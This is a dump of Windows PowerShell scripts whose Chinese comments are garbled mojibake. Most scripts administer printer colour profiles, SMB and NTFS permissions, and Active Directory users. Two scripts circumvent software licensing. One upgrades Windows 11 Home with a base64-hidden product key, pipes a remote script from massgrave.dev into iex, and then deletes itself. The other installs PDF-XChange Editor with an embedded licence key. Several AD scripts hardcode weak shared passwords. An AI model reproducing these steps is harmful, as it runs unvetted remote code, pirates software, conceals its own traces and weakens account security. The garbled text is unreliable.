-eq "RSWOP.icm") { Write-Host " [] Agfaģʽ (RSWOP.icm)" -ForegroundColor Magenta Write-Host " [˵] ģʽ¿ͼ" -ForegroundColor Gray } else { Write-Host " [!] sRGBΪ: $($sRGBValue.sRGB)" -ForegroundColor Yellow } } else { Write-Host " [] ʹϵͳĬɫ" -ForegroundColor Green Write-Host " [˵] ӡ" -ForegroundColor Gray } } Write-Host "" Write-Host "========================================" -ForegroundColor Cyan Write-Host "" Read-Host "س˵..." } # ָϵͳĬϴӡʽɾsRGB function Method6-RestorePrintDefault { Clear-Host Write-Host "ָϵͳĬϴӡʽ" -ForegroundColor Yellow Write-Host "========================================" -ForegroundColor Cyan Write-Host "" $regPath = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\RegisteredProfiles" # ע·Ƿ if (-not (Test-Path $regPath)) { Write-Host "[] ע·ڣڴ..." -ForegroundColor Yellow New-Item -Path $regPath -Force | Out-Null } # sRGBǷ $sRGBValue = Get-ItemProperty -Path $regPath -Name "sRGB" -ErrorAction SilentlyContinue if ($sRGBValue) { Write-Host "ǰsRGBֵ: $($sRGBValue.sRGB)" -ForegroundColor Gray Write-Host "" Write-Host "ɾsRGBעԻָϵͳĬ..." -ForegroundColor Yellow try { Remove-ItemProperty -Path $regPath -Name "sRGB" -Force -ErrorAction Stop Write-Host "[] sRGBɾѻָϵͳĬϴӡʽ" -ForegroundColor Green } catch { Write-Host "[] ɾʧ: $($_.Exception.Message)" -ForegroundColor Red } } else { Write-Host "[] sRGBڣѾϵͳĬ״̬" -ForegroundColor Green } Write-Host "" Write-Host "========================================" -ForegroundColor Cyan Write-Host "" Read-Host "س˵..." } # Agfa״̬sRGB=RSWOP.icm function Method7-SetAgfaMode { Clear-Host Write-Host "Agfa״̬ܹͼ" -ForegroundColor Magenta Write-Host "========================================" -ForegroundColor Cyan Write-Host "" $regPath = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\RegisteredProfiles" # ע·Ƿ if (-not (Test-Path $regPath)) { Write-Host "[Ϣ] ע·ڣڴ..." -ForegroundColor Yellow New-Item -Path $regPath -Force | Out-Null } # 鵱ǰֵ $currentValue = Get-ItemProperty -Path $regPath -Name "sRGB" -ErrorAction SilentlyContinue if ($currentValue) { Write-Host "ǰsRGBֵ: $($currentValue.sRGB)" -ForegroundColor Gray } else { Write-Host "ǰsRGBֵ: (δ)" -ForegroundColor Gray } Write-Host "" Write-Host "sRGBΪRSWOP.icm..." -ForegroundColor Yellow try { Set-ItemProperty -Path $regPath -Name "sRGB" -Value "RSWOP.icm" -Type String -Force Write-Host "[] sRGBΪRSWOP.icmAgfa״̬¿ͼ" -ForegroundColor Green } catch { Write-Host "[] ʧ: $($_.Exception.Message)" -ForegroundColor Red } Write-Host "" Write-Host "========================================" -ForegroundColor Cyan Write-Host "" Read-Host "س˵..." } # function Main { # ԱȨ if (-not (Test-Administrator)) { Write-Host "ԹԱд˽ű" -ForegroundColor Red Write-Host "" Write-Host "Ҽļѡ'ԹԱ'" -ForegroundColor Yellow Write-Host " PowerShell Աںд˽ű" -ForegroundColor Yellow Write-Host "" Read-Host "س˳..." return } # ִвԣʱ Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force while ($true) { Show-Menu $choice = Read-Host "ѡ (1-6)" switch ($choice) { "1" { Method1-FullFix } "2" { Method4-RestoreDefault } "3" { Method5-CheckStatus } "4" { Method6-RestorePrintDefault } "5" { Method7-SetAgfaMode } "6" { Write-Host "ټ" -ForegroundColor Green Start-Sleep -Seconds 1 return } default { Write-Host "Чѡ룡" -ForegroundColor Red Start-Sleep -Seconds 1 } } } } # Main ================================================ FILE: d-pwsh/win11_htp_active_lite.ps1 ================================================ # GB2312 echo " " echo "win11ͥԶרҵ棬win11 Pro汾ϵͳֱWindows/Officeؼ" echo "ע⣺ڼͥڼ䣬ԻԶҪٴָ" echo " " # [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("asdasd")); # ȡϵͳ汾תַ $winv=""+(gwmi win32_operatingsystem |% caption) $win_v_home="Microsoft Windows 11 ͥ" # $up_key = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("VgBLADcASgBHAC0ATgBQAEgAVABNAC0AQwA5ADcASgBNAC0AOQBNAFAARwBUAC0AMwBWADYANgBUAA==")) if($winv -eq $win_v_home){ # sc configÿLicenseManager=עwuauserv=Windows Update $x="sc config LicenseManager start= auto & net start LicenseManager" $y="sc config wuauserv start= auto & net start wuauserv" $z="changepk.exe /productkey "+$up_key # ͨܵCMD $x,$y,$z|cmd } # curl ȡԶ̽űͨܵ irm https://massgrave.dev/get | iex # ɾǰű remove-item $MyInvocation.MyCommand.Path -force #---------------------------------------------------------------------------------------- # # # ο # http://xahlee.info/powershell/powershell_flow_control.html # ȡϵͳ汾οhttps://qa.1r1g.com/sf/ask/513113121/ ## ҵ˻ȡϵͳ汾ķͲþ̬ $global:i = 1;i++; ˡ # cmd SCο ## https://www.cnblogs.com/wiseblog/articles/14932469.html # powershellcmdлοο ## https://www.codenong.com/24940243/ # #------------------------------------------------------------------------------------------ ================================================ FILE: d-pwsh/xchange_v8_active.ps1 ================================================ $setsume = " `n ==ROFL:ROFL:ROFL:ROFL== #-----------------------------------˵---------------------- _^___ L __/ [] \ 1. v82022.7.31άڣü LOL===__ \ 2. v9ֹ֧ڼOCRwww.tracker-software.com/sales-are-suspended L \________] 3. v8汾صַhttps://downloads.pdf-xchange.com/PDFXVE8.zip I I --------/ #------------------------------------------------------------------- `n " echo $setsume echo ڴӹļxchange PDF Editor(Version 8) curl https://downloads.pdf-xchange.com/PDFXVE8.zip -OutFile ${Env:\HOMEPATH}\downloads\PDFXVE8.zip echo "Զѹ밲װע롣" Expand-Archive ${Env:\HOMEPATH}/downloads/PDFXVE8.zip -DestinationPath ${Env:\HOMEPATH}\downloads\ -Force $xchangepdf_okey_v8=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("UABFAFAAOAAwAC0AcgBjADMAeQBNAGIAUgBZADgAagBtAHIAWAA1AHIAYgBwAEYAbwBmADMAegBYAFEALwAwADMASgBNAEoAWAArADkAMQB2AE8ANABtAEYAKwByAHMAZgBRADEAMQBCADMAbQBHAE0ARQBiAEYAVQA1AHcAaABwAHIAMQBBAHcAYwAKAFUAdQB0AHMARwBwAG0AYwB3ADUAaQBsADUATQBlAGsAKwBZAE8AZABpAG8AWABzADkAeQA1AHcASgBXAEMAcABRAGUARQByAFQAcABpAEoAegBzAHAARABmAEwAawBXADYAYQBlAFQAVwBlAEoAUwBCAFIAOABQAFUAdgBxADYAegBuAHcAcQB0ADkAVwBsADkATABlADMAaABuAGsAbQAKAFcAYwAzAEUATQBSAEYAZgBUAHQAZABLAEkAMQBZAHoAWgBzAHIAVAAyAEQAUABYADAARwAyAHkAagB0AHcAVwBoADAAVQA4AFYAYgBtAE0ASQBWAEsAWQBtAGQASgBqADAAVgA3AEcAVgBnAFIATwBNAG8ARQA5AHcAVABMADUAVAB2AHMAQQBOAEYAaQBwAGcAOQBwAG8ATgBlAG8AcQAKAEsAOQA2AHYASgBiAHYATgB4AGsANgBvAEIAQQBmADMAVQB4AHYAbgB0AEUAdQB3AFUATgA4ADkAMABRAGMAQgBRAHgAeABnADcAbwB6AHQAeABCAFoAQwA5AEMAdQBUAGIAVABWAFMAUwA2AGQAaABoAFMAUAA0AHAAQgB0AG0ALwAxAEEARABPAGgAMgBnAE0AMAA1ADgAbQBmADgAQwAKAEQAYQAvAE8AWABkAHIAegA1AHoAbwBGAGgAZgBsAE4AVwBjAEwAbQB0AEEANQBJAEwARQBuADYAYwBzAGQAdgBuAEcAdQBHAEgAWQAxAGMAZAByAG0AMAByAEYALwBDAE0AWABJAEsAbgBFAGkAbQBIAGUAWQBwADYAagBEAG4AegBUADkATQAxAFQANABYADQASgBiAHYAUgB3AD0A")) echo $xchangepdf_okey_v8 > ${Env:\HOMEPATH}\downloads\xchangepdf_v8.lic Start-Process ${Env:\HOMEPATH}'\downloads\PDFXVE8.exe' /S -NoNewWindow -Wait -PassThru Set-Clipboard -Value $xchangepdf_okey_v8 echo licenseдճ壬ƽȥɣҲѹĿ¼в鿴 remove-item $MyInvocation.MyCommand.Path -force #------------------------------------------------------------------------------------------------------ # طʽ # * https://blog.csdn.net/EadderYin/article/details/120573622 # * https://learn.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Utility/Invoke-WebRequest # ѹ # * https://blog.csdn.net/m0_60558800/article/details/123759719 # Ĭװ # * https://www.likecs.com/ask-6192544.html # Ĭж # * https://qastack.cn/programming/113542/how-can-i-uninstall-an-application-using-powershell # * https://www.pstips.net/powershell-uninstall-software.html # ҳı # * http://www.bathome.net/redirect.php?tid=58406&goto=lastpost #------debug----- # ж # ƣ(Get-WmiObject -Class Win32_Product | Where-Object {$_.Name -match "PDF-XChange Editor" }).uninstall() # עID(Get-WmiObject -Class Win32_Product | Where-Object {$_.IdentifyingNumber -eq "{E05F4C70-890B-429C-B24D-36AB434F4991}" }).uninstall() #----------------- #------------------------------------------------------------------------------------------------------ ================================================ FILE: d-pwsh-dc/NTFS权限基础上转换为共享权限.ps1 ================================================ # ûļ· $folderPath = Read-Host -Prompt "ļ·磺C:\ļ\ʼ죩" # ûĹ $shareName = Read-Host -Prompt "빲ƣ磺ʼ죩" try { # ȡļе NTFS ȫȨ $acl = Get-Acl -Path $folderPath # ļеȨ޼̳Уеļ̳ȨתΪʽȨ $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path $folderPath -AclObject $acl Write-Output "ѽȨ޼̳вʽȨޡ" } catch { Write-Output "ȡļȨ޻ü̳ʱ: $_" exit } # Ч NTFS ûȨб $ntfsUsers = @{ } foreach ($access in $acl.Access) { $user = $access.IdentityReference.Value $permissions = $access.FileSystemRights.ToString() if ($permissions.Contains("FullControl")) { $ntfsUsers[$user] = "Full" } elseif ($permissions.Contains("Modify")) { $ntfsUsers[$user] = "Change" } elseif ($permissions.Contains("ReadAndExecute") -or $permissions.Contains("Read")) { $ntfsUsers[$user] = "Read" } else { Write-Output "δƥȨͣ$permissionsû $user ĹȨ" } } # б NTFS Ȩޣ빲Ȩޣ $exceptionList = @( "CREATOR OWNER", "SYSTEM", "Users", "Administrators", "BUILTIN\Administrators", "NT AUTHORITY\SYSTEM", "NT AUTHORITY\Authenticated Users" ) try { # еĹȨޣȷֻΪ NTFS ȨзûӹȨ Get-SmbShareAccess -Name $shareName | ForEach-Object { Revoke-SmbShareAccess -Name $shareName -AccountName $_.AccountName -Force } Write-Output "йȨޡ" # ùȨΪ NTFS ȨзûȨ foreach ($user in $ntfsUsers.Keys) { if (-not $exceptionList.Contains($user)) { try { # ûǷΪSIDʽû˻Ĵ if ($user -match "^S-\d-\d+-(\d+-){1,14}\d+$") { Write-Output "SIDʽû $user ĹȨá" } else { Grant-SmbShareAccess -Name $shareName -AccountName $user -AccessRight $ntfsUsers[$user] -Force Write-Output "Ϊû $user ùȨޣ$ntfsUsers[$user]" } } catch { Write-Output "Ϊû $user ùȨʱ˻밲ȫʶӳ䣩: $_" } } } } catch { Write-Output "Ȩʱ: $_" } try { # Ƴ NTFS беûΪûԶ NTFS Ȩ foreach ($access in $acl.Access) { $user = $access.IdentityReference.Value if (-not $ntfsUsers.ContainsKey($user) -and -not $exceptionList.Contains($user)) { $acl.RemoveAccessRule($access) Write-Output "Ƴû $user NTFSȨ" } } # ɾ Everyone Ĺ NTFS Ȩ Revoke-SmbShareAccess -Name $shareName -AccountName "Everyone" -Force $acl.Access | Where-Object { $_.IdentityReference -eq "Everyone" } | ForEach-Object { $acl.RemoveAccessRule($_) } Write-Output "ɾ Everyone Ĺ NTFS Ȩޡ" # беϵͳ˻Ȩ $usersRule = New-Object System.Security.AccessControl.FileSystemAccessRule("Users", "ReadAndExecute, ListDirectory, Read", "ContainerInherit, ObjectInherit", "None", "Allow") $adminsRule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators", "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow") $systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM", "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow") $creatorOwnerRule = New-Object System.Security.AccessControl.FileSystemAccessRule("CREATOR OWNER", "FullControl", "ContainerInherit, ObjectInherit", "InheritOnly", "Allow") # µĹӵ ACL $acl.AddAccessRule($usersRule) $acl.AddAccessRule($adminsRule) $acl.AddAccessRule($systemRule) $acl.AddAccessRule($creatorOwnerRule) # ĺ ACL Ӧõļ Set-Acl -Path $folderPath -AclObject $acl Write-Output " NTFS ȨɣϵͳûɾijԱ" } catch { Write-Output "û NTFS Ȩʱ: $_" } ================================================ FILE: d-pwsh-dc/readme.txt ================================================ 域控专属 ================================================ FILE: d-pwsh-dc/个别组员加权限.ps1 ================================================ <# Ȩ #> # дȨ Grant-SmbShareAccess -Name "С" -AccountName "csylq\ʫ" -AccessRight Change -Force ## ֻȨ Grant-SmbShareAccess -Name "л" -AccountName "csylq\ʫ" -AccessRight Read -Force <# ȫȨ #> # ȫȨΪֻ icacls "C:\ļ\л" /grant "csylq\ʫ:(OI)(CI)(R)" /t # /t ʾݹ # ȫȨΪ༭ icacls "C:\ļ\С" /grant "csylq\ʫ:(OI)(CI)(M)" /t ================================================ FILE: d-pwsh-dc/修改共享文件夹名称不影响共享和安全权限.ps1 ================================================ # 1. ñ $oldFolderPath = "C:\ļ\¹ļ" # ԭļ· $newFolderPath = "C:\ļ\" # µĹļ· $shareName = "" # # 2. NTFS Ȩ Write-Host "ڱ NTFS Ȩ..." $acl = Get-Acl $oldFolderPath # 3. ļ Write-Host "ļ: $oldFolderPath -> $newFolderPath" Rename-Item -Path $oldFolderPath -NewName (Split-Path -Leaf $newFolderPath) -Force # 4. ָ NTFS Ȩ Write-Host "ڻָ NTFS Ȩ..." Set-Acl -Path $newFolderPath -AclObject $acl Write-Host "ļָɣ" # 5. ½ Write-Host "ļйɣ" New-SmbShare -Name $shareName -Path $newFolderPath -FullAccess Everyone -ErrorAction SilentlyContinue # 6. NTFSȨתȨ try { # ȡļе NTFS ȫȨ $acl = Get-Acl -Path $newFolderPath # ļеȨ޼̳Уеļ̳ȨתΪʽȨ $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path $newFolderPath -AclObject $acl Write-Output "ѽȨ޼̳вʽȨޡ" } catch { Write-Output "ȡļȨ޻ü̳ʱ: $_" exit } # Ч NTFS ûȨб $ntfsUsers = @{ } foreach ($access in $acl.Access) { $user = $access.IdentityReference.Value $permissions = $access.FileSystemRights.ToString() if ($permissions.Contains("FullControl")) { $ntfsUsers[$user] = "Full" } elseif ($permissions.Contains("Modify")) { $ntfsUsers[$user] = "Change" } elseif ($permissions.Contains("ReadAndExecute") -or $permissions.Contains("Read")) { $ntfsUsers[$user] = "Read" } else { Write-Output "δƥȨͣ$permissionsû $user ĹȨ" } } # б NTFS Ȩޣ빲Ȩޣ $exceptionList = @( "CREATOR OWNER", "SYSTEM", "Users", "Administrators", "BUILTIN\Administrators", "NT AUTHORITY\SYSTEM", "NT AUTHORITY\Authenticated Users" ) try { # еĹȨޣȷֻΪ NTFS ȨзûӹȨ Get-SmbShareAccess -Name $shareName | ForEach-Object { Revoke-SmbShareAccess -Name $shareName -AccountName $_.AccountName -Force } Write-Output "йȨޡ" # ùȨΪ NTFS ȨзûȨ foreach ($user in $ntfsUsers.Keys) { if (-not $exceptionList.Contains($user)) { try { # ûǷΪSIDʽû˻Ĵ if ($user -match "^S-\d-\d+-(\d+-){1,14}\d+$") { Write-Output "SIDʽû $user ĹȨá" } else { Grant-SmbShareAccess -Name $shareName -AccountName $user -AccessRight $ntfsUsers[$user] -Force Write-Output "Ϊû $user ùȨޣ$ntfsUsers[$user]" } } catch { Write-Output "Ϊû $user ùȨʱ˻밲ȫʶӳ䣩: $_" } } } } catch { Write-Output "Ȩʱ: $_" } try { # Ƴ NTFS беûΪûԶ NTFS Ȩ foreach ($access in $acl.Access) { $user = $access.IdentityReference.Value if (-not $ntfsUsers.ContainsKey($user) -and -not $exceptionList.Contains($user)) { $acl.RemoveAccessRule($access) Write-Output "Ƴû $user NTFSȨ" } } # ɾ Everyone Ĺ NTFS Ȩ Revoke-SmbShareAccess -Name $shareName -AccountName "Everyone" -Force $acl.Access | Where-Object { $_.IdentityReference -eq "Everyone" } | ForEach-Object { $acl.RemoveAccessRule($_) } Write-Output "ɾ Everyone Ĺ NTFS Ȩޡ" # беϵͳ˻Ȩ $usersRule = New-Object System.Security.AccessControl.FileSystemAccessRule("Users", "ReadAndExecute, ListDirectory, Read", "ContainerInherit, ObjectInherit", "None", "Allow") $adminsRule = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators", "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow") $systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM", "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow") $creatorOwnerRule = New-Object System.Security.AccessControl.FileSystemAccessRule("CREATOR OWNER", "FullControl", "ContainerInherit, ObjectInherit", "InheritOnly", "Allow") # µĹӵ ACL $acl.AddAccessRule($usersRule) $acl.AddAccessRule($adminsRule) $acl.AddAccessRule($systemRule) $acl.AddAccessRule($creatorOwnerRule) # ĺ ACL Ӧõļ Set-Acl -Path $newFolderPath -AclObject $acl Write-Output " NTFS ȨɣϵͳûɾijԱ" } catch { Write-Output "û NTFS Ȩʱ: $_" } ================================================ FILE: d-pwsh-dc/删除所有共享文件夹中的未知用户权限模板.ps1 ================================================ # ȡй $shares = Get-SmbShare # ÿ foreach ($share in $shares) { $shareName = $share.Name Write-Output "ڴļ: $shareName" # ȡǰķȨ $accessRules = Get-SmbShareAccess -Name $shareName # ɸѡδ֪ûƥ SID ʽ˻ $unknownSIDs = $accessRules | Where-Object { $_.AccountName -match "S-1-" } # ɾÿδ֪ûĹȨ foreach ($rule in $unknownSIDs) { $unknownSID = $rule.AccountName Write-Output " ɾ '$shareName' еδ֪ûȨ: $unknownSID" Revoke-SmbShareAccess -Name $shareName -AccountName $unknownSID -Force } } Write-Output "ѳɹɾйļеδ֪ûȨ" ================================================ FILE: d-pwsh-dc/删除未知用户共享文件夹权限模板.ps1 ================================================ # 干 $shareName = "" # 滻Ϊʵʹ # ȡķȨ $accessRules = Get-SmbShareAccess -Name $shareName # ɸѡδ֪ûƥ AccountName SID Ŀ $unknownSIDs = $accessRules | Where-Object { $_.AccountName -match "S-1-" } # ɾÿδ֪ûĹȨ foreach ($rule in $unknownSIDs) { $unknownSID = $rule.AccountName Write-Output "ɾ '$shareName' еδ֪ûȨ: $unknownSID" Revoke-SmbShareAccess -Name $shareName -AccountName $unknownSID -Force } Write-Output "ѳɹɾ '$shareName' δ֪ûȨ" ================================================ FILE: d-pwsh-dc/删除未知用户文件夹安全权限模板.ps1 ================================================ # 干ļ· $folderPath = "C:\ļ\ۺ" # ȡļļеȨ $acl = Get-Acl -Path $folderPath # Ҳɾδ֪ûʹ SID ʾȨޣ $acl.Access | Where-Object { $_.IdentityReference -match "^S-1-" } | ForEach-Object { $acl.RemoveAccessRule($_) } # Ӧøĺ ACL Set-Acl -Path $folderPath -AclObject $acl Write-Output "ѳɹɾļ $folderPath еδ֪ûȨ" ================================================ FILE: d-pwsh-dc/删除根目录中所有文件夹中包含未知用户的安全权限模板.ps1 ================================================ # ļ· $folderPath = "C:\ļ" # 滻Ϊʵ· # ݹָļмļ Get-ChildItem -Path $folderPath -Recurse | ForEach-Object { # ȡǰļļе ACL $acl = Get-Acl -Path $_.FullName # δ֪ûSID ʽûнΪû˻ $unknownSIDs = $acl.Access | Where-Object { $_.IdentityReference -match "^S-1-" } # ɾÿδ֪ûȨ foreach ($rule in $unknownSIDs) { $acl.RemoveAccessRule($rule) Write-Output "ɾļ/ļ $($_.FullName) еδ֪ûȨ: $($rule.IdentityReference.Value)" } # ĺ ACL Ӧõļļ Set-Acl -Path $_.FullName -AclObject $acl } Write-Output "ѳɹɾļ $folderPath δ֪ûİȫȨ" ================================================ FILE: d-pwsh-dc/域用户导出.ps1 ================================================ # ļ· $outputFile = "C:\Users\Administrator\Desktop\û嵥.txt" # ջ򴴽ļ Out-File -FilePath $outputFile # -Encoding UTF8 -Force # Active Directory ģ Import-Module ActiveDirectory # ֯Ԫ DistinguishedName $ous = @( "OU=Ŷ,DC=CSXZX,DC=com", "OU=ѵ,DC=CSXZX,DC=com", "OU=ʱȨ,DC=CSXZX,DC=com" ) foreach ($ou in $ous) { # ȡ֯Ԫеû $users = Get-ADUser -Filter * -SearchBase $ou -Properties Name # ûдļ if ($users) { $ouName = (Get-ADOrganizationalUnit -Identity $ou).Name # ȡ OU Add-Content -Path $outputFile -Value "֯Ԫ$ouName" foreach ($user in $users) { Add-Content -Path $outputFile -Value $user.Name # ֻû } Add-Content -Path $outputFile -Value "`r`n" # ӻзָ } else { Write-Host "δҵκû֯Ԫ $ouName С" } } Write-Host "ѵָ֯Ԫеûֵ $outputFile" # ͣ 5 Start-Sleep -Seconds 5 ================================================ FILE: d-pwsh-dc/多个共享文件夹授权读写权限.ps1 ================================================ # 干ƺļ· $shares = @( # һ $sharesѭУΪÿûÿȨޡ # ûͬʱöԡҵ1͡ҵ2ļеĶӦȨޡ @{ Name = "ҵ1"; Path = "C:\ļ\ҵ1" }, @{ Name = "ҵ2"; Path = "C:\ļ\ҵ2" } ) $domainUsersFile = "C:\Users\Administrator\Desktop\ҵ.txt" # ûtxtļ· # $domain = "CSYLQ" # ȡtxtļÿһû $domainUsers = Get-Content -Path $domainUsersFile foreach ($user in $domainUsers) { # Ϊÿûǰ׺ $fullUserName = "$domain\$user" foreach ($share in $shares) { Write-Host "Ϊû $fullUserName Ȩ޵ $($share.Name)..." # 1. ӹȨ try { Grant-SmbShareAccess -Name $share.Name -AccountName $fullUserName -AccessRight Change -Force Write-Host "Ȩޣû $fullUserName ѱ $($share.Name) ı༭Ȩޡ" } catch { Write-Host "Ȩޣ޷Ϊû $fullUserName ӷȨ޵ $($share.Name)ܸûѴڻ" } # 2. NTFSȨ try { $icaclsCommand = "icacls `"$($share.Path)`" /grant `"${fullUserName}:(OI)(CI)(M)`" /t" # ʾȨ # ַתΪ Invoke-Expression $icaclsCommand Write-Host "NTFSȨޣû $fullUserName ѱ $($share.Name) ı༭Ȩޡ" } catch { Write-Host "NTFSȨޣ޷Ϊû $fullUserName ӷȨ޵ $($share.Name)ܷ" } } } ================================================ FILE: d-pwsh-dc/恢复域用户模板.ps1 ================================================ # ûɾǰ Deleted ǿֵͬʱҲɲһЩͬıɾ Get-ADObject -Filter {samaccountname -eq " "} -IncludeDeletedObjects # ͨGUIDָ Restore-ADObject -Identity fc9ef534-e4b4-4bda-b894-4e91797d233e"" -NewName "" -TargetPath "OU=Ŷ,DC=CSYLQ,DC=COM" # Set-ADAccountPassword -Identity "" -NewPassword (ConvertTo-SecureString -AsPlainText "Mima123" -Force) # ˻ Enable-ADAccount -Identity "" ================================================ FILE: d-pwsh-dc/恢复组织单元模板.ps1 ================================================ # ѯɾ֯Ԫ Get-ADObject -Filter { ObjectClass -eq "organizationalUnit" } -IncludeDeletedObjects -SearchBase (Get-ADDomain).DeletedObjectsContainer # ҵGUIDлָ Restore-ADObject -Identity "e419292d-bbf3-4d9d-9b09-34cac1676367" ================================================ FILE: d-pwsh-dc/批量创建用户.ps1 ================================================ # Active Directoryģ Import-Module ActiveDirectory # һ # New-ADUser -Name "" -SamAccountName "" -UserPrincipalName "@CSYLQ.com" ` # -Path "OU=ҵ,OU=Ŷ,DC=CSYLQ,DC=com" -GivenName "" -Surname "" ` # -AccountPassword (ConvertTo-SecureString "Mima12345" -AsPlainText -Force) ` # -Enabled $true -ChangePasswordAtLogon $true <# οϣhttps://learn.microsoft.com/en-us/powershell/module/activedirectory/new-aduser?view=windowsserver2022-ps #> # Active Directoryģ Import-Module ActiveDirectory # ȡtxtļеûб $filePath = "C:\Users\Administrator\Desktop\û.txt" # 滻Ϊʵʵļ· $userList = Get-Content -Path $filePath # -Encoding UTF8 # ̶ $password = "Mima12345" # ѭûб foreach ($userName in $userList) { # Դû try { New-ADUser -Name $userName -SamAccountName $userName -UserPrincipalName "$userName@csylq.com" ` -Path "OU=ۺ,OU=Ŷ,DC=CSYLQ,DC=com" ` -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) ` -Enabled $true -ChangePasswordAtLogon $true Write-Host "û $userName ѳɹ" } catch { Write-Host "û $userName ʱ: $_" } } # ͣű Read-Host " Enter ..." ================================================ FILE: d-pwsh-dc/批量删除用户.ps1 ================================================ # Active Directoryģ Import-Module ActiveDirectory # ȡtxtļеûб $filePath = "C:\Users\Administrator\Desktop\ɾû.txt" # 滻Ϊʵʵļ· $userList = Get-Content -Path $filePath # -Encoding UTF8 # ѭɾû foreach ($user in $userList) { try { Remove-ADUser -Identity $user -Confirm:$false -ErrorAction Stop Write-Host "ɾû: $user" } catch { Write-Host "û $user ڣѺԴ" } } # ͣű Read-Host " Enter ..." ================================================ FILE: d-pwsh-dc/批量授权质检目录访问权限.ps1 ================================================ # 干ƺļ· $shareName = "ʼ" # $folderPath = "C:\ļ\ʼ" # ļеʵ· $domainUsersFile = "C:\Users\Administrator\Desktop\ʼ.txt" # ûtxtļ· # $domain = "CSYLQ" # ȡtxtļÿһû $domainUsers = Get-Content -Path $domainUsersFile foreach ($user in $domainUsers) { # Ϊÿûǰ׺ $fullUserName = "$domain\$user" Write-Host "Ϊû $fullUserName Ȩ..." # 1. ӹȨޣֻ try { Grant-SmbShareAccess -Name $shareName -AccountName $fullUserName -AccessRight Read -Force Write-Host "Ȩޣû $fullUserName ѱֻȨޡ" } catch { Write-Host "Ȩޣ޷Ϊû $fullUserName ӷȨޣܸûѴڻ" } # 2. NTFSȨޣֻ try { # ʹicaclsûֻȨ # ʽ vs ̳ȨޣͨȨ޽ʾʽõȨޣ߼ѡлʾӸļлȨ޼̳жȨޡ # $icaclsCommand = "icacls `"$folderPath`" /grant `"${fullUserName}:(R)`" /t" # ʾȨ #(OI) ǡ̳СʾȨ޽Ӧõļڵļ #(CI) ǡ̳СʾȨ޽ӦõļڵļС $icaclsCommand = "icacls `"$folderPath`" /grant `"${fullUserName}:(OI)(CI)R`" /t" # ʾȨ # ַתΪ Invoke-Expression $icaclsCommand Write-Host "NTFSȨޣû $fullUserName ѱֻȨޡ" } catch { Write-Host "NTFSȨޣ޷Ϊû $fullUserName ӷȨޣܷ" } } ================================================ FILE: d-pwsh-dc/批量特定授权.ps1 ================================================ Write-Host "ȨԱ鳤ļȨ" # ļ· $membersFile = "C:\Users\administrator\Desktop\Ȩ.txt" # Աֵļÿһ $foldersFile = "C:\Users\administrator\Desktop\Ȩģ.txt" # ļļÿһ # ȡļ $members = Get-Content -Path $membersFile | ForEach-Object { $_.Trim() } | Where-Object { $_ -ne "" } $folderEntries = Get-Content -Path $foldersFile | ForEach-Object { $_.Trim() } | Where-Object { $_ -ne "" } # ȡԱļ $memberCount = $members.Count $folderCount = $folderEntries.Count # ȷԱļͬ if ($memberCount -ne $folderCount) { Write-Host "Ա ($memberCount) ļ ($folderCount) ƥ䣬޷" exit } # ÿļУΪӦԱȡȨ for ($i = 0; $i -lt $memberCount; $i++) { $member = $members[$i] $folderEntry = $folderEntries[$i] # ȡļƲ $folderName = ($folderEntry -split "[,]")[0].Trim() # ȥ顱ֺ׺ʵģƥ $normalizedFolderName = $folderName -replace "$", "" # 干ļ·ƥ $folderPathWithGroup = "C:\ļ\" + $folderName # 顱ֵ· $folderPathWithoutGroup = "C:\ļ\" + $normalizedFolderName # ȥ顱ֵ· # ļ·ǷڣԾʹô顱򲻴顱ļ· if (Test-Path $folderPathWithGroup) { $folderPath = $folderPathWithGroup $shareName = $folderName } elseif (Test-Path $folderPathWithoutGroup) { $folderPath = $folderPathWithoutGroup $shareName = $normalizedFolderName } else { Write-Host "ļ $folderName $normalizedFolderName ڣ" continue } # ͳһȡȨ $smbAccessRight = "Read" $fileSystemRight = "(OI)(CI)R" # ȡȨ # SMBȨ Grant-SmbShareAccess -Name $shareName -AccountName $member -AccessRight "${smbAccessRight}" -Force Write-Host "Ϊ $member $shareName ĶȡȨ" # ļϵͳȨ icacls "$folderPath" /grant "${member}:${fileSystemRight}" Write-Host "Ϊ $member $folderPath ļеĶȡȨ" } <# ʼTOĿĿ¼ #> Write-Host "ʼļȨ" # 干ƺļ· $shareName = "ʼ" # $folderPath = "C:\ļ\ʼ" # ļеʵ· $domainUsersFile = "C:\Users\administrator\Desktop\Ȩ.txt" # ûtxtļ· # $domain = "CSXZX" # ȡtxtļÿһû $domainUsers = Get-Content -Path $domainUsersFile foreach ($user in $domainUsers) { # Ϊÿûǰ׺ $fullUserName = "$domain\$user" Write-Host "Ϊû $fullUserName Ȩ..." # 1. ӹȨޣֻ try { Grant-SmbShareAccess -Name $shareName -AccountName $fullUserName -AccessRight Read -Force Write-Host "Ȩޣû $fullUserName ѱֻȨޡ" } catch { Write-Host "Ȩޣ޷Ϊû $fullUserName ӷȨޣܸûѴڻ" } # 2. NTFSȨޣֻ try { # ʹicaclsûֻȨ # ʽ vs ̳ȨޣͨȨ޽ʾʽõȨޣ߼ѡлʾӸļлȨ޼̳жȨޡ # $icaclsCommand = "icacls `"$folderPath`" /grant `"${fullUserName}:(R)`" /t" # ʾȨ #(OI) ǡ̳СʾȨ޽Ӧõļڵļ #(CI) ǡ̳СʾȨ޽ӦõļڵļС $icaclsCommand = "icacls `"$folderPath`" /grant `"${fullUserName}:(OI)(CI)R`" /t" # ʾȨ # ַתΪ Invoke-Expression 